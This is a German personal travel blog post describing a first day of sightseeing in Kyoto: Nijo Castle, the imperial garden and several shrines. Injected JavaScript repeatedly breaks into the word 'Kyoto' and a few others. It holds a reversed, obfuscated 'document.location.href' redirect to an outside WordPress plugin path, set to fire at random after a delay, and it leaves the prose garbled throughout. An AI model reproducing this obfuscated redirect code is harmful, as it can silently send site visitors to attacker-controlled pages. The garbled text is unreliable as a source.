Heute morgen um 06:46 Uhr hab ich mich mit dem Shinkasen auf den Weg in des Kaisers Stadt Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to gemacht. Die Fahrt mit dem Shinkansen ging, wie erwartet, pünktlich auf die Minute los. Es war zwar kein ultraschneller Nozomi (300 km/h), sondern ein Hakari der 300er Serie (nur 270 km/h). So war ich dann ca. in 2 1/2 Stunden in Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to.
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to“ target=“_blank“>Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to war 794 bis 1868 die Stadt des japanischen kaiserlichen Hofes und verfügt dadurch an einen Schatz an Kulturdenkmälern.
Nachdem ich um 09:15 Uhr angekommen war, ging es zunächst in die Burg Nijo. Es ist der ehemalige Sitz des Shoguns in Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to und wurde 1601 gebaut. Sie ist in einem herrlichen Zustand und wirklich toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toll anzuschauen.
Danach bin ich dann in den kaiserlichen Garten, der sich vor dem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to“ target=“_blank“>imperialen Palast befindet, gegangen und hab dort erst einmal eine halbe Stunde Pause eingelegt. Der Garten ist für die Allgemeinheit zugänglich, nur leider der Palast nicht, so dass ich nur von verschlossener Tür stand und um den gesamten Palast herumlaufen mußte.
Nach ca. 3 Stunden Fußmarsch hatte ich immer noch nicht genug und bin dann einfach durch die Straßen von Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to geschlendert. An fast jeder zweiten Ecke befindet sich ein kleiner Schrein oder Tempel, den man sich auch (kostenlos) anschauen darf. Die Menschen dort sind super hilfsbereit. Es dauerte nie mehr als 3 Minuten, wenn ich mit der Karte nur da stand und schon war jemand da, um seine Hilfe anzubieten. Die Japaner sind in ihrer Mentatität zwar sehr eigen, aber Hilfsbereitschaft steht bei denen an oberster Stelle. Ich brauchte also nie befürchten, den Weg nicht mehr zu finden. Aber hier mal ein paar Impressionen aus den Straßen Kyotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos‘.
Es folgten noch zwei große Schreine, die ich mir angeschaut habe und dann war für den ersten Tag genug. Mit ca. 6 Stunden Laufzeit taten mir so langsam die Füße und Beine weh. Also hiess es zu Abend essen, duschen und ab aufs Bett ein wenig nickern. Die Bilder der beiden Schreine, den Shimogamo-jinja Schrein und den Kitano-Tenman-Gu Shrein, möchte ich Euch an dieser Stelle natürlich nicht vorenthalten.Wer mehr über die Schreine wissen möchte, dann einfach auf den Link klicken.
Für morgen ist auch noch einiges geplant. Diesmal werde ich mir aber ein Tagesticket für denn Bus kaufen, den die Sehenswürdigkeiten sind so weit auseinander, dass ich das mit Laufen allen nicht mehr schaffen. Ich leg‘ mich jetzt schlafen! Bis morgen,
Euer Sascha